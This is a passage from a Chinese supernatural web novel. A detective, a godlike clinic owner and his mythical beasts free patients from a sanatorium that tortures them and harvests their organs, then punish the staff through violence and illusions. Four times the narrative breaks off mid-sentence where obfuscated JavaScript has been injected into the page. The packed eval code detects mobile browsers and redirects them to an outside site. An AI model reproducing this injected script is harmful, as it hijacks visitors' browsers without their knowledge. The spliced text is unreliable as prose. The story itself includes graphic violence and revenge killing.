“……”听到春渐满的询问,孟晚舟像是回忆起了什么,身体猛地发抖。 他双手紧握强忍着恐惧深吸了口气,“我跟着妈妈来看过妹妹一次,她的状态太差了,一定发生了什么。” “妈妈不喜欢妹妹……她说她已经给妹妹找了最好的心理医生,也给她找了最好的疗养环境,可,可不是这样,这里太可怕了,太可怕了!” “我看到了,我看到妹妹手腕和脚腕上的伤了,可他们说是妹妹发病为了保护她才用的束缚带,但束缚带的勒痕和铁链吊着的痕迹是不一样的。 “我背着妈妈偷偷拍了证据,回去后,我在网上查‘远星疗养院’,从铺天盖地的广告里终于找到了蛛丝马迹。” “春警官!”孟晚舟下意识脱口而出时,春渐满赶忙伸手捂住了他的嘴,“虽然这里没有监控,但隔墙有耳,还是喊我梁叔叔吧。” “梁叔叔,不止我妹妹,有人发现端倪想把亲人接回去的,但远星疗养院不让,说人还没治疗好,回去发生什么意外都只能自己承担,他们被迫签了保证书,才把人接回去。” 孟晚舟盯着某处,瞳孔骤缩,“接回去后,人就没了,自杀了。” “我不想见到我妹妹的尸体!我不想她死!”孟晚舟压低声音,极力控制着不让自己颤抖。 “我妹妹不想死的,她虽然有抑郁症,但她一直在积极配合治疗,我也有在陪着她鼓励她战胜难关,我不明白妈妈为什么非要把她送到这里来!” “怪我!怪我一开始没发现这里不对劲!都怪我,都怪我!”孟晚舟忽然抓住自己的头发,撕扯头皮。 他们在画预示的景象里并没有发现孟晚舟的精神问题,可春渐满现在非常确定,孟晚舟的状态也不容乐观,他可能是来到这里后,遭受了非人的对待,只不过信念坚定,想要救妹妹出去这点在帮他控制着自己。 这一刻,他明白独孤尽为什么要让文鳐鱼出任务了,如果这里有各种手段去摧毁人的心神,那文鳐鱼这种能帮人恢复神智的神兽至关重要,而且……生鱼片,要比别的什么更容易让人容易接受。 “在事情解决前的自责是最没用的,孟晚舟冷静下来,想想你进来是为了什么。”春渐满冷静打断孟晚舟继续自残,他的手上已经揪下了好几撮头发。 “你的首要目标是救出妹妹,其次才是把这里的恶行公之于众。”春渐满更想说的是,他不该把自己也丢进这个龙潭虎穴。 即便要卧底,也不该孤身一人。 可像孟晚舟这样刚出大学步入社会的青年人,正当热血上头,对什么都是嫉恶如仇的,如果身边没有人能成为他的助力,他就会独自迎难而上,不惧生死。 “不是只有把恶行公之于众才能救你妹妹的。”春渐满语重心长,“收集证据的事交给我们,晚点我们会联系你的母亲,跟她说明情况,让她配合,你也要配合,同意出去。” “妹妹能出去,我肯定会出去!”孟晚舟刚保证完,就眼睛定住,木愣愣了好一会儿,又自言自语起来,“可这里还有这么多受害者,他们怎么办,他们怎么办,我不能走不能走不能走……” 正当春渐满头疼,他不是心理治疗师,没法短时间内控制住孟晚舟的心神时,周围就奇异地涌起了阵阵气泡。 这股异常的水压对春渐满来说已经有点熟悉了。 下一秒,独孤尽直接闪现在了他面前。 索性孟晚舟还低着头沉浸在自己的世界里,没发现凭空多了个人。 “你怎么过来了?不是,和计划不一样啊。”春渐满刚要再问什么,就发现了独孤尽身上的血迹。 “你不会杀人了吧?” 不怪他会这么想,此刻的独孤尽给人的感觉与平时截然不同,他那双澄澈的桃花眼里全是冷然。 “撞到了。”独孤尽用指尖轻点春渐满眉心。 独孤尽带着文鳐鱼刚入院准备办理住院手续时还一切如常。 他用非常关心文鳐鱼的父亲姿态,非要参观整个园区,让工作人员带着他俩逛了足足有两个多小时,把每个能让人逛的地方都逛了,才准备去书屋园区。 穿过九曲十八弯的花廊时,一名从公主园区逃跑出来的少女正脸白如纸,从花架上往下跳。 她显然已经攀爬奔跑了许久,身上到处是伤,纯白的连衣裙上全是血迹。 这一跳,正好撞在了独孤尽身上,独孤尽接下她之后,引路的工作人员脸色骤变,但也只有一瞬,下一秒他就联系了医务人员。 “让您受惊了,这是公主园区的女孩,许是犯病了又贪玩,跑这来了,像她们这种娇滴滴的女孩,一碰就受伤,看着怪吓人的,其实只是擦伤。” “连病人犯病都看不住,让她撞得满身是伤,看来你们远星疗养院也是徒有虚名啊。”独孤尽冷冷讽刺。 独孤尽还没等到他的回答,就发现女孩挣脱了他,想要再往前冲,她的眼神里有着一股决绝。 可她每一步都是一个血脚印,鲜血不断从她腿间滑落,极其骇人。 这绝不是轻伤,更不是什么擦伤。 医务人员来得太快,足有十多人,将少女死死围住。 那哪里是什么医务人员,他们穿着白大褂,可一个个身形彪悍,分明是练家子。 “罢了。” 独孤尽仰面看向天空,心里一片漠然。 周围迅速升腾起一串串气泡,细密的冰冷将整个远星镇封锁。 独孤尽蹲下身,用力捂住自己的耳朵,耳膜胀痛得他无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688909|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法睁开双眼。 “主人主人,主人!”文鳐鱼在一旁急得团团转,他不明白好端端的,主人为什么要开这么大的区域,术法控制的范围越大,主人要承受的就越多,最好的办法是缩小范围,找到幕后之人,以点破面。 “咳……”独孤尽忍住了喉头的腥甜,却没法控制自己的耳孔流血。 “主人!!”文鳐鱼此刻希望自己的鱼肉可以治愈人,而不是只能让人神智清明。 “去吧,让那些人神智清明。”独孤尽重新站直身体,周身萦绕着肃然之气。 “是!”文鳐鱼应声后,并没有朝少女而去,显然,少女压根没有精神类的问题,却被关在这里受着折磨。 “合窳、猲狙、耳鼠!听令!”独孤尽厉声破空。 “主人!” “主人!” “主人!” 三只神兽从虚空中出现,他们并没有化成人形,除了耳鼠外,另外两只还说不了几句人言,索性在春渐满的努力下,他们能听懂大部分意思了。 “合窳、猲狙,不是喜欢吃人吗?去吧,把那些闻起来气息坏的,都带过来,丢到中庭,给我看住了,少了一个,就要少吃一口。” “我说三二一,开吃,才能吃,记住了吗?”独孤尽的命令不容置喙。 “是,主人!” “耳鼠,你去帮帮文鳐鱼。” “好的,主人。”耳鼠甩甩长尾巴,临空而飞。 只是一瞬,少女身边围绕的那些人就都被咬破了身躯,丢在了中庭。 独孤尽缓步行至她身边,掌心浮现莹润白光。 少女惊诧地看着自己身体发生变化,“我……好了?” 独孤尽移开视线,轻摇脑袋,“并非,这里是‘怪奇诊所’,只能治愈你的心神,治疗不了你的身体。” “可我的心……已经被这里毁了,治不了了。”少女眼角湿润,却没流下泪来。 “你想做什么?要做什么才能抚平你心里的伤痛,哪怕只是抚平十之一二。” “只要我想就能吗?”少女强忍的泪还是夺眶落了下来,她从地上爬起来,咬牙切齿恶狠狠地发出诅咒,“我要那些害我的人,全都死!全都死!不,不够,我要他们受比我还痛百倍千倍的折磨!” “可以。”独孤尽微抬下颌应下。 “可以吗?那我,那我不是变得跟他们一样了吗?这是违法的,我……我不能……”发狠过后,少女又开始迟疑。 “怎么会一样,你不是早就做好了拼死也要逃离的准备吗?为什么要拼死,是因为他们要你死。”独孤尽垂眸叹息,“为自己搏一条生路,让那些想让你死的人死,有错吗?” 半晌没得到少女回应,独孤尽折了花架上的一朵蔷薇给她。 “想忘记这一切吗?” “不,我想记住这一切。”少女看着手里那朵开得鲜艳,却被剃了刺的蔷薇,“我想记住这个为了生,不畏死的自己。” 13. 踏出生路 “她去公主园区救其他女孩儿了?”春渐满没想到事情会跳转得这么快,“不是让她以其人之道去……” “是让那些人承受痛苦重要,还是解救受害者重要?”独孤尽反问春渐满,他的神情从“怪奇诊所”遍布整个园区开始就很淡漠,此刻身上的血迹衬得他如同修罗。 话毕,独孤尽拿出一片新鲜的生鱼片,直接捏开孟晚舟的下颌,把鱼片塞了进去,没让他有反应的时间,合上他的嘴迫使他吞咽下去。 孟晚舟干呕了片刻,原本还被万千疯魔思绪控制的脑海突然就清明起来,他站直身体,抹掉眼角咳出的生理泪水。 “孟晚舟,去把青年区的病人都放出来,集中到运动场上。”独孤尽说完这句话就身形一闪,消失在他们面前。 “……”就这样让人看到异象真的好吗? 可现在,春渐满也无法在意这些细节了,既然整个园区都变成了“怪奇诊所”,那么,独孤尽要去忙治疗,他必须尽快带着孟晚舟将病人都释放出来,最好能同时把证据收集齐,免得之后警方再来取证时,有些有力证据丢失。 “他们不会轻易出来的,必须想办法先把这里的禁制解除。”孟晚舟走到靠床的墙边,轻轻磨蹭墙皮,找到位置,“借我个能使力的东西。” 春渐满看了眼自己的手机,迟疑了一秒,还是递了过去。 孟晚舟用了巧劲,砸开了墙皮,里面竟然被他掏空了一个小洞。 “这是微型摄像机,里面有我之前拍到的一些画面,但是不多,你既然带了手机,等等多记录一点。”孟晚舟从未觉得自己的脑子像此刻这么清楚,就好像那些愤恨都被藏到了几十米深的洞穴里,不是消失了,却一时半刻调动不起来。 他知道,眼前的人是可信的。 “春警官,现在不用叫您梁叔叔了吧。”孟晚舟用一句话表明,先前他们的对话他都记得,现在的他充分信任着他。 “走吧,让我们速战速决。” “春警官……”孟晚舟看着雪白的走廊,脸上血色尽退,他咬了咬牙,还是冷静地说出了他的亲眼所见,“把墙皮撬开,里面全是大家的血迹,每个不肯被拖走做器官切除手术的人,都进行了极力的挣扎,虽然很微弱,但是人到了危险面前,总会拼尽全力挣扎。” “他们会把选中的人先饿上两天,消磨他们的体力,再从病房里带出来,对……旁若无人地带出来。” “只有被选中的人在挣扎,大家都不敢出来当出头鸟,因为当出头鸟的人就会是下一个手术的人。” “只要埋着头,就能有机会幸存,说不定什么时候家里人就会接自己回去了呢?” “而且很多人,是真的有精神问题的,他们听到这种挣扎只会恶化自己的病情,却没有多余的力量去帮助别人。” “可以了,更多的细节让那些罪犯去说,你的证词我已录制好了。”独孤尽实在不忍心让受害者再次回忆那些痛苦的过去。 春渐满用手机当铲,蹭掉了一些墙皮,果不其然,雪白之下,是已经干涸成黑色的血迹,这些都是受害者无声的求救。 “没关系,春警官,我既然只身来这,就做好了一切心理准备。”孟晚舟眼神里透露着坚定,他比之前更坚韧了。 “春警官,这扇门隔绝了我们出去的希望,您能打开它吗?” 春渐满看着眼前这扇厚重的门,不久前他才被同意进入,他记得没错的话,出去要拨打电话。 不过……如果他已经是“怪奇诊所”的人,那么他就不用这么麻烦了。 他凝神注视着这扇扼杀了无数人生的希望的门,心念转动,就在他以为门会和他想的一样打开时,这扇门纹丝未动。 春渐满眉头蹙起,拿起手机拨给了独孤尽,“为什么我打不开这里的门?” “因为这里是现实。” “这里不是‘怪奇诊所’吗?怎么会是现实?” “这里被我控制了,可以制造幻象,但这里的一切是现实,能明白吗?”独孤尽那边的声音非常嘈杂,伴随着让人头皮发麻的尖叫声。 “我懂了。”春渐满挂断电话,呼出一口气。 “孟晚舟,我要给那边打个电话,我们先让他们把门打开。”春渐满拿起挂在墙上的电话。 没过多久,守在外面的医护人员就拿起了电话,“探视好了?要出来了?” “对,东西都给了,我要回去了。” 孟晚舟在春渐满的示意下躲在了门旁的角落处。 这里其实无处可躲,只能利用开门时的视线错觉,稍微藏一下。 医护人员只是开了一条缝,只够一个人通过,但这对春渐满来说已经足够,他的擒拿术在队里一直是第一。 孟晚舟见人被控制住,立马冲出了门,春渐满把敲晕的人交给他,“把她的指纹放在那上面。” 春渐满几步上前控制住尖叫着已经在呼叫其他防卫人员的前台,他虽然没法控制现实世界,但能变出一些东西。 他随手一抬就是几副手铐,将人控制住后,才过去帮孟晚舟,“你说的要解除的禁制是什么?” “旁边那间房里,有我们的手机、还有其他带过来的物品,他们只有看到这些,才能看到希望。” “你说的是,让他们与外界联系?” “对!只有跟外界联系上,他们才会觉得安全了。” “不行,现在还不能和外界联系。”春渐满立刻否决了孟晚舟这个提议,“你觉得远星疗养院之所以能够这么猖狂是为什么?” “是因为……” “对,所以大鱼在外面,不在这里,我们轻举妄动后,没了这个地方,以后还会有无数个远星疗养院。” “还有别的办法把他们都叫出来吗?” “公主园区那边你有什么了解吗?她们都能听话出来。” “公主园区关的都是妙龄少女,她们正是做梦的年纪,也是最有血性的年纪,可我这边是青年区,不一样,我应该算里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688910|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面比较年轻的,里面还有很多都是本来就在外界被打击过的人,他们早就失去了最鲜活的冲劲。” “哪怕现在大门敞开,让他们出来,他们也不跑?”春渐满不能理解,生的希望就在面前,怎么还会有人不愿踏出那最后一步。 “生的希望?呵……他们有些人不就是想死才来这里治疗的,在碰到了那种非人对待后,更绝望了,但他们现在死也不敢死的,你看到我们的墙都没有防护了吧?其实想撞死很容易,可他们用家人作威胁。” “只有在轮到自己要被做器官切除手术时,才会因为切实的痛苦挣扎那么一下。” “家人?怪不得他们的登记那么详细,连你继父这种无关紧要的人也早早就登记在案。”春渐满想到系统里那一连串详细的资料,不寒而栗。 “你们能躲过审查进来,真的很厉害,所以我相信你。”孟晚舟点了点头,忽然,他像是感知到了什么,紧张地环视着四周。 直到余光瞥见一人,正躲在角落里鬼鬼祟祟。 “那边,那边有人通风报信!” 春渐满几步上前擒住人,却发现是一名少女,这名少女被他扣住不由惊呼出声,“啊!不要杀我,不要杀我!” “香霖!”孟晚舟看清少女身形时,再顾不上别的,冲上去一把抱住人。 “香霖,你怎么样?有没有事?哥哥来了,哥哥来了,不怕了不怕了!” “孟晚舟!门!”春渐满恨铁不成钢地冲过去重新把前台的手抵在仪器上。 现在人被他敲晕了,他可不知道开门的密码,这门必须要密码加上指纹才能打开,等等门关了他就真要辜负独孤尽的一片信任了。 春渐满思及此处自己都愣住了,他明明最该关心的应该是在病房里的那些受害者,可他在听到孟晚舟说出那些人性最真实的一面后,倒是没有那么同情受害者了。 怕的是失去独孤尽的信任。 什么时候,独孤尽的信任对他这么重要了? “把人一个个,全都拖出来,直接丢到运动场。”独孤尽像是感受到了春渐满波澜起伏的心绪,声音直接在春渐满耳边响起。 春渐满愣了愣,见孟晚舟和他妹妹都抬头四顾,就知道这个声音不止他能听到,大家都能听到。 明明在现实的世界里,独孤尽却能够制造幻象,还能将他真实的声音穿过空间,传达到这里,这不是神是什么? “主人您本来就是神仙啊。” 春渐满想起,文鳐鱼曾这么说过,他当时还开玩笑附和着。 “与其在这里猜我的身份,不如把自己该做的事先做完。”独孤尽像是能读心,他的每一次回应都让春渐满心下生寒,却又不得不听他之令。 “我知道。”他没再给孟晚舟兄妹叙旧的时间,让两人过来看着门,只身进去拖拽那些在坟墓里掩耳盗铃的病患。 他要让他们知道,只有死人才该在坟墓里安息,活人就要勇敢向前,踏出一条属于自己的生路! 14. 少女与耳鼠的约定 外面日光已经西斜,独孤尽负手站在血橙色的霞光中,冷眼旁观着被丢到中庭的那群家伙。 “不可能,这世界上不存在那些神神鬼鬼的,就算有也能利诱,为大人物所用,那位可是有大气运的,不可能,绝对不可能……” 中庭正中有位“德高望重”的医师,远星疗养院的名声基本上都是靠这位医师打出来的。 从榜上有名的大学毕业,留教,再到出来行医,救了无数人,有无数信徒,甚至有很多专业的期刊杂志上都刊登了他的学术论文。 他的治疗理念风靡一时,这才让远星疗养院爆火起来,也有很多“治愈”出来的人,能像个“正常人”一样生活了,他们娶妻生子,做着能养活自己的工作,可没有人知道,这只是极少数的纯善的人。 即便家人将他们送进了地狱,可他们仍不想家人入地狱,本就因为自己生病感到愧疚,现在,他们变成了手拿屠刀的人,只要他们不听话,家人就会因他们丧命。 还有一部分人装作自己病好了,出来之后,不用远星疗养院的人动手,他们就直接了结了家人与自己的生命。 只是极端案例较少,并没有引起风波,倒是那些看起来像“正常人”的,常常被宣传着。 大部分生病的人都是因为环境原因,生性敏感的他们,没有被温柔对待,越病越重,即便出院了,家人也只在意周围的眼光,根本不在意他们真正的想法,内心深处的感受。 只要像个“正常人”一样,就够了。 “利诱?说来听听。”独孤尽虽半点都不感兴趣,但这种套话必不可少,他耐着性子,想听听这位汤大医师能说出些什么。 汤行正眼珠滴溜转了一圈,心惊胆颤看着身边那些怪异的野兽,即便他见过世面,也没见过这种世面,但心里还是狂妄的,他不相信自己这么重要的人物,会被人伤了。 “你有这等能力,为何不跟我们一起,给你五个点,五个点就够你吃几辈子都不止了。”汤行正急忙伸出手比划。 独孤尽似是觉得极其可笑,他恢复先前混不吝的样子,掏掏耳朵,故意走到汤行正跟前,抬起手腕亮了亮他的手表,又抬起腿,用他昂贵的鞋,高贵的脚,在汤行正鞋面上碾了几下。 “你这样的脑子,怎么发表的学术论文?你看看,好好看看,我像是缺钱的样子吗?”独孤尽故意把声音拖得很长,就是为了恶心汤行正。 “况且,我有这样的能力,你觉得我会缺钱?” “不缺钱,不缺钱,是不该缺钱,但人都会生病,你再有钱也要有渠道治疗,我,我可以为你找最好的医生,你放了我们,以后看病再也不愁。”汤行正都不想多看旁边那些怪物一眼,他盯着面前这个大学生模样的青年,说得情真意切。 “说这话你心不心虚啊,你看看我的年纪,再看看你自己的年纪,等我老了,你早骨灰都不知道哪里去了。”独孤尽耸耸肩,扭头看了眼候在1旁边待命的合窳和猲狙,它们变了无数分身出来,每个人身边都有一只看守,非常细心。 “哈哈哈哈哈……年轻人,你还是太年轻了,我能延年益寿,你却不能,你说谁能活得更久?”汤行正猖狂大笑,就被独孤尽隔空扼住了脖颈。 “延年益寿?那你要有命能活下去啊,汤医师。”独孤尽手指缓慢收紧,汤行正只感觉到一股无形之力掌控着自己的生死。 主宰他人生死久了,他自然知道这是种什么感觉,只不过现在整个调转过来了,他变成了那个被人主宰生死的人。 “想说话啊?来,说吧。”独孤尽适时地松了手,他百无聊赖把玩着指尖,视线也没有落回汤行正身上。 他可不信汤行正这会儿就能说出动听的人话。 合窳和猲狙顿时脖颈一凉,想当年主人逮捕它们的时候,就是用的这种招数,从不一击致命,只是吊着,让它们以为自己有逃出的希望,又一点点收紧丝线,最终消磨了它们的意志,知道再怎么样也逃不出去,听话点可能还会好过点。 “呕……咳咳咳咳咳……你……”汤行正呼吸到新鲜空气的一瞬,咳了个昏天黑地,“杀人是要偿命的!” “嚯,你还知道杀人是要偿命的啊?汤大医师……”独孤尽故意停顿了下,他嘴角勾起一抹冷笑,“你杀人的时候,好像不记得这句话啊。” “你胡说八道什么?!我可没杀人,我作为心理医生,绝不允许你这么侮辱医生这个职业!”缓过一口气的汤行正像是找到了回击的思路,他抚了抚胸口,像是被独孤尽气到的样子,实际上他是在安抚自己急剧跳动的心脏。 “侮辱医生这个职业的人是我吗?”独孤尽反问着,手指再次隔空收紧,“告诉我,是谁在侮辱医生?” 汤行正以一种极其扭曲的姿势被独孤尽隔空提起,他双手死死掰着那股看不见的力气,滑不溜手,根本掰不开。 “救命啊!救命!我没有杀人啊,我没有杀人!都是汤医生在执刀,杀人的是他,是他!”瞧见汤行正的惨状,中庭聚集的其他医护人员纷纷吓得跌坐在地,嘶声狡辩。 “哦?你们没有杀人?”独孤尽像是瞧见了特别可笑的事,他松了手,让汤行正摔落在地,虚空中那只无形的手一一扇过众人脸颊,“脸疼不疼啊?你们没杀人,没有你们,他汤行正能杀人?” “主人,是否开始治疗?”合窳流着口水走到独孤尽跟前。 “再等等,等耳鼠回来,让她配合你们。”独孤尽摆摆手,“你们的手段太粗暴了,不适合这些人,要配合精神攻击。” 运动场上,只有部分不明情况的患者焦虑地杵在那,在耳鼠的阵法下,大家站在运动场上不会出事,每个人的情绪都能被控制在最低值,没有什么是值得发生冲突的。 “诗晴,怎么回事?” “你跟我们说噩梦在今天就可以结束是真的吗?” “可是你把我们集中到运动场干什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688911|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?” “这里那么可怕,那些想逃离的人都会被拉到这里当众处刑,诗晴,这回不会是你吧?” “你没逃出去被抓住了吗?” 公主园区的病患年龄都不大,本该如花朵般绽放的娇嫩脸庞上全是惶恐。 “诗晴,我们不想你有事,不然我们帮你逃吧,你一个人还是太冒险了,我们帮你逃出去,你再来救我们!” “我没事,你们也会没事的,相信我,也相信自己!”祝诗晴就是先前逃跑从花架上掉下来撞到独孤尽的少女,她领命将公主园区的大家全都转移到了运动场上,就连刚被迫接受了代孕怀孕中的女孩也被她安全转移出来了。 “我拿到了公主园区的名单,现在把名单分给你们,大家快速清点一下,看看谁不在?”祝诗晴把她从前台处打印出的每日病患清点表分给大家。 拿到笔的几人都愣了愣,她们已经很久没有写过字了,这种尖锐的物件不会出现在她们手中,怕她们藏在袖中,攻击那群人面兽心的玩意儿。 可现在,希望真的出现在她们面前了。 女孩们脸上露出许久未见的欣喜,纷纷配合。 看着名单上一个个勾打过去,祝诗晴的心也安定下来,可忽然有人惊呼了一声,“香霖不在!孟香霖不在!” “她一定是去找她哥哥了!”有好些人还记得孟香霖的哥哥,那是一个勇敢无畏的哥哥,是让她们艳羡的哥哥。 “上次她哥哥不知道怎么避开的人,过来看她,告诉她一定会救她出去,这次是不是就是她哥哥来救人了?”有人小声议论。 “晓凌,你在这边帮我看着点大家,别让她们再乱跑了,我去找香霖。”祝诗晴还记得独孤尽让她做的是,把公主园区的所有患者都集中过来。 所有患者,少一个都不行。 耳鼠见祝诗晴往别处跑,立马甩着尾巴飞过去拦住了人,“我们一起。” 祝诗晴感激地上前抱住耳鼠毛茸茸的身体,“谢谢你。” 耳鼠的耳朵瞬间红了,虽然被厚实的皮毛遮挡了大半。 祝诗晴一点儿也不害怕独孤尽骤然变出的这些神兽,对她来说,这些毛茸茸的大家伙在帮助她,在帮助这些需要帮助的人,这就足够了。 尤其是耳鼠跟着她一路,帮了她太多。 不然她也不能那么快迷惑前台,让前台心甘情愿打开病房,双手奉上点名单。 她现在喜欢耳鼠喜欢的紧,没有犹豫,利落翻身跨坐到背脊上,抱住耳鼠的脖颈。 她不知道,在耳鼠眼中,她闪着圣洁的光芒,即便受了再多的伤,留了再多的血,也无法掩盖那道温暖的、充满希望的光。 “等大家都获救了,我还可以跟你玩吗?”耳鼠在空中飞掠而过,很快就落到了青年区,她的声音被风带走了大半,却还是落入了少女耳中。 “当然,到时候,我一定要请你吃好多好多好多好吃的!” 15. 迷雾幻境 青年区里时不时发出几声低吼,又伴随着偶尔的尖叫,让人摸不透里面到底发生了什么。 耳鼠和祝诗晴面面相觑,以防万一,耳鼠还是给病区加上了治愈术,让大家能够安静下来,有足够的清明状态听人说话。 实际上,春渐满已经将每间病房门都打开了,只是那些病患的心门太难开,有一部分听完他的话,还愿意尝试着踏出房门,更多的是抱着脑袋不愿听人说话的。 可即便愿意向前一步,但真的走到让他们夜夜做噩梦的走廊上时,还是忍不住发出恐惧的声音。 直到耳鼠的术法生效,情况才明朗起来。 恐惧的叫声也消停了,病区瞬间变得安静下来。 “香霖,是我,你和你哥哥都去运动场吧,这里交给我们。”祝诗晴一眼就看到了和哥哥在一起的女孩。 “可门要一直开着。”孟香霖不肯现在就走,她要帮大家的忙。 “那门交给你哥哥,我们进去把大家都领出来。”祝诗晴点点头,她伸手牵上孟香霖。 孟香霖看了眼她身后的耳鼠,害怕得抖了一下,还是跟了上去。 “诗晴姐姐,你不怕,不怕这个吗?”她一时间不知道怎么形容耳鼠。 “小脑袋瓜里想什么呢?他们难道比那些让我们受罪的人可怕?”祝诗晴没好气地弹了孟香霖一个脑瓜崩。 “走吧,早点离开这个鬼地方。” 春渐满远远地就听见了有人过来,见到耳鼠时,他终于把额角的汗抹了一下,这下,他不用担心了。 术业有专攻,耳鼠在,这些人就不愁拖不出去了。 “春老师,还有哪些人没出来,我来。”耳鼠很喜欢春渐满。 她会很多人言,还很爱看人类写的书,可有些她不明白的地方,问主人,主人也不会讲解,问九尾狐姐姐,九尾狐姐姐也说些似是而非的话,只有春老师会教她意思,让她能看懂更多有趣的书。 “太多了,你们跟我来,这边的,不知道什么病症,我把他拽出来之后,自己又跑回去了。” “那边那位,蹲在墙角不肯挪位置,就一直赖在地上。” “他们在害怕,我能感受到,他们的恐惧。”耳鼠闭上眼睛,凝神感受了一下,“去给他们一些惊喜吧。” “惊喜?” “他们现在心智其实像小孩子,需要惊喜去调动。”耳鼠甩甩尾巴直接飞到病患面前,一个甩尾就给了一人一巴掌。 “走不走?不走就继续挨打。”耳鼠极其温柔地睁着大眼睛问他。 “别,别打我,走,我走。” “……”春渐满一时间语塞,这种是惊喜吗?这是恐吓吧。 “春老师,快带他出去集合,等我把每个人都叫出来,我们就一起去运动场。”耳鼠语气都透着喜悦,出任务她不乐意,但出任务能多跟春老师在一起,她就很乐意。 “好……”好像自从和独孤尽认识,他的底线就越来越低了,现在见到神兽堂而皇之恐吓人类,他都不想去制止了。 有的时候,特殊情况,只能用些特殊手段。 耳鼠的动作很快,像打棒球一样,一尾巴一个,春渐满和两个女孩只要把人领出去集中就行,没过多久,人就全到了运动场。 耳鼠放出感知力,发现整个园区的所有人都集中起来了,一部分在运动场,一部分在中庭。 “我留个分身在这边,要去帮主人啦,春老师,你一起过来吗?”耳鼠看着运动场中密密麻麻的人群,满意地扬起脑袋,她身体里的能量在逐渐消耗,但很快,这些人回馈的谢意能让她更上一层楼。 春渐满忧心忡忡上了耳鼠的背,虽然上次他已经见识过“怪奇诊所”的真面目,但这次兹事体大,他真的怕独孤尽会失控。 独孤尽有时候看起来不怎么像人类,当然也不像神兽,他身上有种世间万物都与他无关的疏离感,但他却在做着帮助人类的事,太矛盾了。 “小弟,你总算来了,快帮我想想,怎么让这群人全都认识到自己的错误?”独孤尽见春渐满坐着耳鼠飞过来,立马张手抱了个满怀。 春渐满没好气地从独孤尽怀里挣脱,反手差点扭住独孤尽的手腕,“别突袭。” “疼疼疼,小弟你也太凶残了,对主人都下这么狠的手,我都看到那些病人脸上的红印子了,是不是你打的?”独孤尽揉揉手腕,抬颚指指运动场那边的人。 “胡说,隔这么远你看不到。”春渐满没上当。 中庭内已经聚集了远星疗养院当值的所有人,但有一些幕后之人,甚至不在远星镇。 “ok,治疗开始。”独孤尽恶劣地咧嘴一笑,中庭的场景就发生了变化,迷雾升腾后,原本狭窄的空间顿时大了不止十倍百倍。 春渐满没想到自己的形象被独孤尽随意改变,他现在约莫十多岁,是少年人的模样。 再一看,独孤尽还在他旁边,样子根本没变,他需要仰着头才能跟人说话,“把我变回去。” “好好想想,怎么让他们认识到错误。”独孤尽没理会春渐满,他甚至变了张沙发出来,躺在了上面,闭上了眼睛。 春渐满没能再问什么,眼前的迷雾就浓烈起来,将他们阻隔。 无法,只能顺着迷雾隔出的路往前走。 与春渐满一样的,还有数百位远星疗养院的工作人员。 聚在一起时,他们吵吵嚷嚷,像沸腾的毒药,现在散开,只剩一个人了,又在迷雾中,纷纷吓得不敢动弹。 汤行正却还好,他的心理素质比其他人好,骤然遇到这么多邪门的事,他也接受了,毕竟比起自己的脖颈一直被人扼住,还是现在的迷雾让人感觉更安全。 可很快,汤行正就轻松不起来了。 迷雾里幻化出了一个跟他长得一模一样的人。 这是“怪奇诊所”的惯用治疗手法,让他们成为受害者,被自己所害,充分感受受害者的痛苦。 这招能制住一部分良心还没彻底泯灭的人,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688912|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一部分人需要受害者是自己在意的人,才能唤醒良知。 可汤行正显然不是这类人,他痴痴地看着和自己一样的幻象,想到没想,从口袋里摸出手术刀就划向了对方的颈动脉。 之前制住他的不是怪兽就是无形之力,他根本没法出手,可现在在他面前的不过是个长成他自己的幻象罢了。 但他没想到的是,这个幻象不仅长得像他自己,事实上,也就是他自己。 “呃……唔……”汤行正不敢置信地捂住自己喷血的脖颈,脸上全是惊愕。 怎么可能?他明明杀的是那个幻象,为什么受伤的是他自己?! 躺在沙发上假寐的独孤尽像是看到了极其有趣的一幕,唇角勾了勾,他懒洋洋打个哈欠,继续睡。 春渐满听不见其他人的声音,他顺着迷雾隔开的路走了半天,走得都累了,才发现拐角处有个人影,“谁?” 